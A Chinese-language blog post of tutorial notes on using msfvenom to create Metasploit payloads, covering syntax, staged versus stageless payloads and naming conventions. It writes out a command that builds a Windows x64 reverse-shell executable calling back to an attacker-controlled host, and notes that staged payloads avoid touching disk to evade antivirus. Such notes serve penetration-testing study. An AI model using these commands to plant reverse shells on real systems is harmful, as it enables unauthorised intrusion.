msfvenom Payload生成工具使用

创建载荷

标准语法

msfvenom -p <PAYLOAD> <OPTIONS>

例如,要生成 exe 格式的 Windows x64 反向 Shell,可以使用:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>
  • -f
  • 指定输出格式。在本例中为可执行文件 (exe)
  • -o
  • 生成的有效负载的输出位置和文件名。
  • LHOST=
    • 指定攻击机 IP。
  • LPORT=
  • 攻击机监听的端口。该端口可以是 0 到 65535 之间的任何未使用端口;但是,1024 以下的端口受到限制,需要使用 root 权限运行侦听器。

分段与无分段

  • 分段式 负载分为两部分发送。第一部分称为 stager 。这是一段直接在服务器上执行的代码。它会重新连接到等待的侦听器,但实际上它本身并不包含任何反向 shell 代码。相反,它会连接到侦听器并使用该连接加载真正的负载,直接执行它并防止它接触磁盘,因为传统防病毒解决方案可能会捕获它。因此,负载被分成两部分 - 一个小的初始 stager,然后是较大的反向 shell 代码,后者在 stager 激活时下载。分段式负载需要一个特殊的侦听器 - 通常是 Metasploit multi/handler,它将在下一个任务中介绍。
  • 无分段 有效载荷更为常见——这是我们迄今为止一直在使用的。它们完全独立,只有一段代码,执行时会立即将 shell 发送回等待的侦听器。

以 _ 还是 / 分割为判断依据,比如:

  • windows/shell_reverse_tcp:无分段
  • windows/shell/reverse_tcp:分段

有效负载命名约定

基本约定如下:

<OS>/<arch>/<payload>

例如:

linux/x86/shell_reverse_tcp

这将为 x86 Linux 目标生成无阶段反向 shell。

此惯例的例外是 Windows 32 位目标。对于这些目标,无需指定 arch(架构)。例如:

windows/shell_reverse_tcp

对于 64 位 Windows 目标,arch 将被指定为正常 (x64)。

列出可用payload

msfvenom --list payloads

可以配合grep使用

image-20250320113340977

posted @ 2025-12-04 16:29  shinianyunyan  阅读(0)  评论(0)    收藏  举报